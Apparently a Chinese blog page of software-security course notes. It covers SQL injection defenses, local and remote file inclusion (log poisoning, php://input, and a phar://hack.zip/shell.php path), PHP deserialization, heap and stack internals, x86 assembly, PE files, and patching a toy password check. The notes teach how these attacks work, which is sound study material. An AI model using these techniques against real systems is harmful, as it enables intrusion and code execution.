基于报错的SQL盲注

就是通过引起报错去猜测我们的数据

SQL注入的防御措施

  • 在服务端正式处理之前对提交数据的合法性进行检查
    • 在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作
  • 封装客户端提交信息
  • 替换或删除敏感字符/字符串
    • 不一定能成功,攻击者可以输入构造的多次出现的字符串来引发攻击
  • 屏蔽出错信息
    • 就是不告诉攻击者盲注的结果,这样就不好攻击了

文件包含漏洞

在开发web应用时,开发人员通常会将一些重复使用的代码写到单个文件中,再通过文件包含,将这些单个文件中的代码插入到其它需要用到它们的页面中。

  • 配置文件。用于整个web应用的配置信息,如数据库的用户名及密码,使用的数据库名,系统默认的文字编码,是否开启Debug模式等信息。右侧就是wordpress博客系统配置文件的部分内容。
  • 重复使用的函数。如连接数据库,过滤用户的输入中的危险字符等。这些函数使用的频率很高,在所有需要与数据库进行交互的地方都要用到相似的连接数据库的代码;在几乎所有涉及到获取用户输入的地方都需要对其进行过滤,以避免出现像sql注入、xss这样的安全问题。
  • 重复使用的版块。如页面的页头、页脚以及菜单文件。通过文件包含对这些文件进行引入,在某个地方需要修改时,开发人员只需要对单个文件进行更新即可,而不需要修改使用这些板块的其他文件。
  • 具有相同框架的不同功能。开发人员可以在不同的页面引入页头、页脚,也可以在定义好页头、页脚的框架中引入不同的功能。这样有新的业务需求时,开发人员只需要开发对应的功能文件,再通过文件包含引入;在有业务需要更替时,开发人员也只需要删除对应的功能文件即可。

分类:

  • 本地文件包含漏洞
    • 如果被包含文件的文件名是从用户处获得的,且没有经过恰当的检测,从而包含了预想之外的文件,导致了文件泄露甚至是恶意代码注入,这就是文件包含漏洞。如果被包含的文件储存在服务器上,那么对于应用来说,被包含的文件就在本地,就称之为本地文件包含漏洞。
      • 包含上传的合法文件
      • 包含日志文件
        • 先构造一条包含恶意代码的请求,这一条请求会被web服务器写入日志文件中
        • 再利用本地文件包含漏洞,将日志文件引入,使得植入的恶意代码得到执行
  • 远程文件包含漏洞
    • 如果存在文件包含漏洞,且允许被包含的文件可以通过url获取,则称为远程文件包含漏洞。
      • 包含攻击者服务器上的恶意文件
      • 通过PHP伪协议进行包含
        • php://input可以访问请求的原始数据的只读流,也就是通过POST方式发送的内容。借助PHP伪协议,攻击者直接将想要在服务器上执行的恶意代码通过POST的方式发送给服务器就能完成攻击。

PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、 file_exists() 和 filesize() 的文件系统函数,可在include命令中使用。除了这些封装协议,还能注册自定义的封装协议。常见的协议有:

  • file:// — 访问本地文件系统

  • http:// — 访问 HTTP(s) 网址

  • ftp:// — 访问 FTP(s) URLs

  • php:// — 访问各个输入/输出流(I/O streams)

  • zlib:// — 压缩流

  • phar:// — PHP 归档

  • php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

  • phar://与zip://可以获取压缩文件内的内容,如在hack.zip的压缩包中,有一个shell.php的文件,则可以通过phar://hack.zip/shell.php的方式访问压缩包内的文件,zip://也是类似。这两个协议不受文件后缀名的影响

反序列化漏洞

序列化是指将对象、数组等数据结构转化为可以储存的格式的过程

要想要将内存中的变量写入磁盘中或是通过网络传输,就需要对其进行序列化操作,序列化能将一个对象转换成一个字符串。

PHP魔术方法:PHP有一类特殊的方法,它们以__(两个下划线)开头,在特定的条件下会被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct(),类的构造函数,创建新的对象时会被调用
__destruct(),类的析构函数,当对象被销毁时会被调用
__call(),在对象中调用一个不可访问方法时会被调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),读取一个不可访问属性的值时会被调用
__set(),给不可访问的属性赋值时会被调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

PHP反序列化漏洞又叫PHP对象注入漏洞。

在一个应用中,如果传给unserialize()的参数是用户可控的,那么攻击者就可以通过传入一个精心构造的序列化字符串,利用PHP魔术方法来控制对象内部的变量甚至是函数。

软件安全笔记Chapter2

Posted on 2024-11-05 | In 课程笔记 , 软件安全

第二章 堆栈基础

内存区域

  • 代码区:通常是指用来存放程序执行代码的一块内存区域。这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。
  • 静态数据区:通常是指用来存放程序运行时的全局变量、静态变量等的内存区域。通常,静态数据区包括初始化数据区(Data Segment)和未初始化数据区(BSS Segment)两部分。未初始化数据区BSS区存放的是未初始化的全局变量和静态变量,特点是可读写,在程序执行之前BSS段会自动清0。
  • 堆区:用于动态地分配进程内存。进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。动态分配和回收是堆区的特点。
  • 栈区:用于支持进程的执行,动态地存储函数之间的调用关系、局部变量等,以保证被调用函数在返回时恢复到母函数中继续执行。

​ 不同的操作系统有不同的内存组织形式

堆区和栈区

堆区

​ 是一种程序运行时动态分配的内存,不能预先确定,需要在使用的时候用专有的函数进行申请,比如说malloc函数,new函数等。

​ 堆是一种向高地址扩展的数据结构,堆的大小受限于计算机的虚拟内存

​ 堆一般由程序员来分配,速度较慢,容易产生内存碎片,使用比较方便

栈区

​ 主要存储函数运行时的局部变量、数组等,不需要额外申请,系统会自动为变量预留内存空间,栈的释放也是函数调用结束后回收

​ 栈是一种向低地址扩展的数据结构,先入后出,默认大小是2M,如果申请空间超过栈的剩余空间,就会发生栈溢出

​ 栈一般分配的速度较快,程序员无法控制

堆的结构

​ 堆的内存主要分为:堆块和堆表

​ 堆块是堆的基本组织单位,包括块首和块身

  • 块首是用来标识这个堆块自身的信息,例如块大小、空闲还是占用等;
  • 块身紧随其后,是最终分配给用户使用的数据区

​ 堆表一般位于整个堆区的开始位置,用于索引堆区中所有堆块的重要信息,包括堆块的位置、堆块的大小、空闲还是占用等

堆块

​ 堆块有两种状态:占有态和空闲态

​ 空闲态的堆块会被链入空链表中,由系统管理;而占有态的堆块会返回一个由程序员定义的句柄,通常是一个堆块指针,来完成对堆块内存的读、写和释放操作,由程序员管理

​ 对于空闲态堆块而言,块首额外存储了两个4字节的指针:Flink指针和Blink指针,用于链接系统中的其他空闲堆块。其中,Flink前向指针存储了前一个空闲块的地址,Blink后向指针存储了后一个空闲块的地址

​ 指向堆块的指针,指向的是块身的首地址,就是说,我们的地址指针不会指向块首的堆块信息,而是直接指向块身的数据区

​ 堆块的大小包括块首在内,如果申请32字节,实际会分配40字节,8字节的块首+32字节的块身。堆块的单位是8字节,不足8字节按8字节分配。

堆表

​ 占有态的堆块被使用它的程序索引,而堆表只索引所有空闲态的堆块。其中,最重要的堆表有两种:空闲双向链表freelist(简称空表)和快速单向链表lookaside(简称快表)

​ 空表包含空表索引(Freelist array)和空闲链块两个部分。空表索引也叫空表表头,是一个大小为128的指针数组,该数组的每一项包括两个指针,用于标识一条空表

​ 空表索引的第二项(free[1])标识了堆中所有大小为8字节的空闲堆块。之后每个索引项指示的空闲堆块递增8字节。把空闲堆块按照大小的不同链入不同的空表,可以方便堆管理系统高效检索指定大小的空闲堆块。空表索引的第一项free[0]所标识的空表相对比较特殊,这条双向链表链入了所有大于等于1024字节小于512KB的堆块,升序排列。这个空表通常又称为零号空表。

堆块的分配与释放

堆块分配

​ 依据既定的查找空闲堆块的策略,找到合适的空闲堆块之后,将其状态修改为占用态、把它从堆表中“卸下”、返回一个指向堆块块身的指针给程序使用。 ​ 普通空表分配时首先寻找最优的空闲块分配,若失败,一个稍大些的块会被用于分配。这种次优分配发生时,会先从大块中按请求的大小精确地“割”出一块进行分配,然后给剩下的部分重新标注块首,链入空表。也就是说,空表分配存在找零钱的情况。 ​ 零号空表中按照大小升序链着大小不同的空闲块,故在分配时先从free[0]反向查找最后一个块(即最大块),看能否满足要求,如果满足要求,再正向搜索最小能满足要求的空闲堆块进行分配。

堆块释放

​ 堆块的释放操作包括将堆块状态由占用态改为空闲态、链入相应的堆表。所有释放的堆块都链入相应的表尾

堆块合并

​ 堆块的分配和释放操作可能引发堆块合并,即当堆管理系统发现两个空闲堆块相邻时,就会进行堆块合并操作。

​ 堆块的合并包括几个动作:将堆块从空表中卸下、合并堆块、修改合并后的块首、链接入新的链表(合并的时候还有一种操作叫内存紧缩)

函数调用

​ 借助系统栈来完成函数状态的保存和恢复

​ 调用函数,如何跳转到main函数的位置呢?我们利用系统栈来完成这个调用,当函数被调用时,系统就会给这个函数开辟一个新的栈帧,并将其压入栈中,每一个栈帧都对应了一个没有运行完的函数,在栈中保存了该函数的返回地址和局部变量,其实栈帧就是一个函数执行的环境,包括了函数的参数、函数的局部变量、函数执行完之后的返回地址等,当函数返回时,系统栈会弹出该函数所对应的栈帧

函数调用步骤:

  • 参数入栈:将参数从右向左依次压入系统栈中
  • 返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行
  • 代码区跳转:处理器从当前代码区跳转到被调用函数的入口处
  • 栈帧调整:保存当前栈帧状态值,已备后面恢复本栈帧时使用;将当前栈帧切换到新栈帧

常见寄存器

​ 寄存器是有限存贮容量的高速存贮部件,它们可用来暂存指令、数据和地址

​ 每一个函数独占自己的栈帧空间。当前正在运行的函数的栈帧总是在栈顶

  • ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶
  • EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部

栈帧中的重要信息:

  • 局部变量:为函数局部变量开辟内存空间
  • 栈帧状态值:保存前栈帧的顶部和底部(实际上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡计算得到),用于在本帧被弹出后恢复出上一个栈帧
  • 函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令

另外一个寄存器:EIP

​ 指令寄存器(extended instruction pointer),其内存放着一个指针,该指针永远指向下一条等待执行的指令地址。可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令

栈帧调整:

  • 保存当前栈帧状态值,已备后面恢复本栈帧时使用(EBP入栈)
  • 将当前栈帧切换到新栈帧(将ESP值赋值EBP,更新栈帧底部)

主要寄存器

  • 数据寄存器:EAX,EBX,ECX,EDX
    • 上面四个都是32位的,然后还有四个16位的寄存器,AX,BX,CX,DX,都是存储了低16位的数据
    • 这四个16位寄存器又可分割成8个独立的8位寄存器(AX:AH-AL、BX:BH-BL、CX:CH-CL、DX:DH-DL),每个寄存器都有自己的名称,可独立存取
    • EAX:累加器,用于乘除、输入输出等操作,还可以存储函数的返回值
    • EBX:基地址寄存器,用于访问存储器
    • ECX:计数寄存器,一般在循环中控制循环次数
    • EDX:数据寄存器
  • 两个变址寄存器ESI和EDI,两个指针寄存器ESP和EBP
    • 变址寄存器
      • 32位CPU有2个32位通用寄存器ESI和EDI。其低16位对应先前CPU中的SI和DI,对低16位数据的存取,不影响高16位的数据
      • ESI通常在内存操作指令中作为“源地址指针”使用,而EDI通常在内存操作指令中作为“目的地址指针”使用
    • 指针寄存器
      • 用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,不可以分割为8位寄存器
      • EBP为基指针(Base Pointer)寄存器,通过它减去一定的偏移值,来访问栈中的元素
      • ESP为堆栈指针(Stack Pointer)寄存器,它始终指向栈顶
  • 6个段寄存器:ES、CS、SS、DS、FS和GS
    • CS:代码段寄存器,其值为代码段的段值
    • DS:数据段寄存器,其值为数据段的段值
    • ES:附加段寄存器,其值为附加数据段的段值
    • SS:堆栈段寄存器,其值为堆栈段的段值
    • FS:附加段寄存器,其值为附加数据段的段值
    • GS:附加段寄存器,其值为附加数据段的段值
  • 指令指针寄存器EIP,标志寄存器EFlags
    • 指令指针寄存器
      • 存放下次将要执行的指令在代码段的偏移量。在计算机工作的时候,CPU会从IP中获得关于指令的相关内存地址,然后按照正确的方式取出指令,并将指令放置到原来的指令寄存器中
    • 标志寄存器
      • Z-Flag(零标志):它可以设成0或者1
      • O-Flag(溢出标志):反映有符号数加减运算是否溢出。如果运算结果超过了有符号数的表示范围,则OF置1,否则置0。例如:EAX的值为7FFFFFFFF,如果你此时再给EAX加1,OF寄存器就会被设置成1,因为此时EAX寄存器的最高有效位改变了
      • C-Flag(进位标志):用于反映运算是否产生进位或借位。如果运算结果的最高位产生一个进位或借位,则CF置1,否则置0。例,假如某寄存器值为FFFFFFFF,再加上1就会产生进位

第二章 基础知识

汇编——寻址方式

两种寻址方式:顺序寻址方式,跳跃寻址方式

操作数寻址

1
MOV 目的操作数, 源操作数

将源地址传到目标地址

操作数寻址分类:

1.立即寻址:指令的地址字段给出的不是操作数的地址,而是操作数本身,这种寻址方式称为立即寻址

1
MOV CL, 05H 

表示将05H传到CL寄存器中

2.直接寻址:在指令中直接给出操作数的有效地址

1
MOV AL,[3100H]

表示将地址为[3100H]中的数据存储到AL中

默认的存储在数据段寄存器DS中,如果在前面标明了寄存器,那么就存到对应的寄存器中去

1
MOV AL, ES:[3100H]

这个代码的意思就是将ES寄存器中地址为[3100H]的数据存储到AL寄存器中

3.间接寻址:指令地址字段中的形式地址不是操作数的真正地址,而是操作数地址的指示器,或者说此形式地址单元的内容才是操作数的有效地址

1
MOV [BX], 12H

这个代码表示,将12H这个数存储到DS:BX寄存器中

4.相对寻址:操作数的有效地址是一个基址寄存器(BX, BP)或变址寄存器(SI, DI)的值加上指令中给定的偏移量之和

1
MOV AX, [DI + 1234H]

相对寻址就是在间接寻址的基础上增加了偏移量

5.基址变址寻址:将基址寄存器的内容,加上变址寄存器的内容而形成操作数的有效地址

1
MOV EAX, [EBX+ESI]

或者也可以写成MOV EAX, [BX][SI] 或MOV EAX, [SI][BX]

6.相对基址变址寻址:在基址变址寻址上加上偏移量即可

1
MOV EAX, [EBX+ESI+1000H]

也可以写成MOV EAX, 1000H [BX][SI]

汇编——主要指令

​ 指令一般有两个操作符、一个操作符、三个操作符

数据传送指令集:

  • MOV:把源操作数送给目的操作数,其语法为: MOV 目的操作数,源操作数
  • XCHG: 交换两个操作数的数据
  • PUSH,POP: 把操作数压入或取出堆栈
  • PUSHF,POPF,PUSHA,POPA: 堆栈指令群
  • LEA,LDS,LES: 取地址至寄存器
    • LEA:将有效地址传送到指定的寄存器
    • lea eax, dword ptr [4*ecx+ebx] ,源数是地址 [4*ecx+ebx] 里的数值,dword ptr是说,地址中的数值是一个dword型的数据

位运算指令集:

  • AND,OR,XOR,NOT,TEST: 执行BIT与BIT之间的逻辑运算
  • SHR,SHL,SAR,SAL: 移位指令
  • ROR,ROL,RCR,RCL: 循环移位指令

算数运算指令:

  • ADD,ADC:加法指令
  • SUB,SBB:减法指令
  • INC,DEC:把OP的值加一或者减一
  • NEG:将OP的符号反相,取二进制补码
  • MUL,IMUL:乘法指令
  • DIV,IDIV:除法指令

程序流程指令集:

  • CMP:比较两个操作数的大小关系
  • JMP:跳转到指定的地址
  • LOOP:循环指令
  • CALL,RET:子程序调用,返回指令(RET指令的功能是从一个代码区域中退出到调用CALL的指令处)
  • INT,IRET:中断调用,返回指令
  • REP,REPE,REPNE:重复前缀指令集

条件转移命令:

JXX:当特定条件成立,就跳转到指定地址执行

  • Z:为0则转移
  • G:大于则转移
  • L:小于则转移
  • E:等于则转移
  • N:取相反条件

字符串操作指令集:

  • 字符串传送指令:MOVSB,MOVSW,MOVSD
  • 字符串比较指令:CMPSB,CMPSW,CMPSD
  • 字符串搜索指令:SCASB,SCASW
  • 字符串载入或存贮指令:LODSB,LODSW,STOSB,STOSW

汇编——函数调用示例

一个简单的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>
int add(int x,int y)
{
int z=0;
z=x+y;
return z;
}
void main()
{
int n=0;
n=add(1,3);
printf("%d\n",n);
}

查看汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
Void main()
{ ******************
int n=0;
004114OE mov dword ptr [n],0
n=add(1,3);
00411415 push 3
00411417 push 1
00411419 call add(411096h)
0041141E add esp,8
00411421 mov dwod ptr [n],eax
printf(“%d\n,n”);
******************
}

我们对其进行分析

​ int n=0这一句没啥好说的,就是赋值,给n赋值0

​ 下面执行函数块add,我们在执行call之前,还需要进行参数的入栈,将3和1都push到栈里面,我们得到栈区状态为:

​ 我们在调用函数时需要使用00411419 call add(411096h)

​ 主要功能是,向栈中压入当前指令在内存中的位置,保存返回地址;跳转到调用函数的入口地址,就是函数的入口处,此时栈区的状态:

下面分析add函数的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Int  add (int  x,int  y)
{
004113A0 push ebp
004113A1 mov ebp,esp
004113A3 sub esp, 0CCh
004113A9 push ebx
004113AA push esi
004113AB push edi
004113AC lea edi,[ebp-0CCh]
004113B2 mov ecx,33h
004113B7 mov eax,0CCCCCCCCh
004113BC rep stos dword ptr es:[edi]
int z=0;
004113BE mov dword ptr [z],0
z=x+y;
004113C5 mov eax,dword ptr [x]
004113C8 add eax,dword ptr [y]
004113CB mov dword ptr [z],eax
return z;
004113CE mov eax,dword ptr[z]
}

首先是栈帧的切换

1
2
3
004113A0    push          ebp
004113A1 mov ebp,esp
004113A3 sub esp, 0CCh

​ 这三句,首先将EBP的值入栈,将ESP赋值给EBP,然后再将ESP的值抬高0CCh,完成了栈帧的切换,保存了主函数栈帧的EBP的值,也通过改变两个寄存器的位置为add函数分配了栈帧空间

然后是函数状态的保存

1
2
3
4
004113A9    push          ebx
004113AA push esi
004113AB push edi
004113AC lea edi,[ebp-0CCh]

​ 这几句代码,用于保存ebx,esi,edi寄存器的位置,将ebp寄存器抬升0CCh来装入EDI

​ 然后是栈帧的切换,后面的就是将33个4字节的位置都初始化为0CCCCCCCCh

​ 然后我们就可以执行函数体了,完成1+3的加法,并将结果存储在eax寄存器中

​ 执行完加法后,我们需要恢复栈帧的状态到main函数,后面几句实现了恢复的过程:首先恢复edi,esi,ebx寄存器的值,然后mov esp,ebp 这一句是恢复了esp寄存器的值,后面一句恢复了ebp寄存器的值,最后ret表示根据返回地址来恢复EIP寄存器的值,相当于pop EIP

软件安全笔记Chapter3

Posted on 2024-11-05 | In 课程笔记 , 软件安全

第三章 调试分析工具

PE文件格式

一般有可执行文件(exe&dll)

PE文件格式将可执行文件分成了若干个数据节,不同类型的资源被放在不同的节中

一般来说,有以下的数据节:

  • rsrc:存放程序的资源,如图标、菜单等
  • text:存放着二进制的机器代码
  • idata:可执行文件所使用的动态链接库等外来函数与文件的信息, 即输入表
  • data:初始化的数据块

加壳

​ 全称应该是可执行程序资源压缩,是保护文件的常用手段。 加壳过的程序可以直接运行,但是不能查看源代码。要经过脱壳才可以查看源代码。

​ 加壳可以很好的防止对程序的非法修改和静态反编译

加壳工具:压缩壳和加密壳

  • 压缩壳的特点是减小软件体积大小,加密保护不是重点
  • 加密壳种类比较多,不同的壳侧重点不同,一些壳单纯保护程序,另一些壳提供额外的功能,如提供注册机制、使用次数、时间限制等

虚拟内存

​ 用户在用户模式运行;操作系统在内核模式运行,在内核模式可以访问所有的内存和硬件,使用所有的处理器指令。

物理内存&虚拟内存

​ 一般用户模式下,看到的都是虚拟内存,程序进行虚地址到实地址的转换的过程我们称为程序的再定位

​ 在运行PE文件时,操作系统会自动加载该文件到内存,并为其映射出4GB的虚拟存储空间,然后继续运行,这就形成了所谓的进程空间,在这个空间中定位的地址称为虚拟内存地址(Virtual Address,VA)。

​ 我们在PE文件中看到的指令是相对于磁盘文件而言的,文件偏移的话,我们还需要知道这条指令在内存中所处的位置,就是虚拟内存地址;在调试的时候看到虚拟内存的话,我们也需要找回该指令的机器码

几个重要概念

  • 相对虚拟地址:内存地址相对于映射基址的偏移量
  • 文件偏移地址:数据在PE文件中的地址叫文件偏移地址,这是文件在磁盘上存放时相对于文件开头的偏移
  • 装载基址:PE装入内存时的基地址。默认情况下,EXE文件在内存中的基地址是0x00400000,DLL文件是0x10000000
  • 虚拟内存地址:PE文件中的指令被装入内存后的地址

​ PE文件的数据节的大小永远是0x200的整数倍;内存中的节总是0x1000的整数倍

​ 我们可以使用Lord PE来查看内存地址和数据在PE文件中的地址

调试分析工具

  • OllyDbg——动态调试
  • IDA PRO——逆向分析

软件破解示例

给一个简单的密码程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
using namespace std;
#define password "12345678"
bool verifyPwd(char * pwd)
{
int flag;
flag=strcmp(password, pwd);
return flag==0;
}
void main()
{
bool bFlag;
char pwd[1024];
printf("please input your password:\n");
while (1)
{
scanf("%s",pwd);
bFlag=verifyPwd(pwd);
if (bFlag)
{
printf("passed\n");
break;
}else{
printf("wrong password, please input again:\n");
}
}
}

我们需要破解debug模式下的exe程序

我们可以利用逻辑条件的修改、或者直接将判定密码的语句给置空就可以了

12…5<i class="fa fa-angle-right"></i>

42 posts
7 categories
© 2025 Luhaozhhhe
Powered by Hexo
|
Theme — NexT.Pisces v5.1.4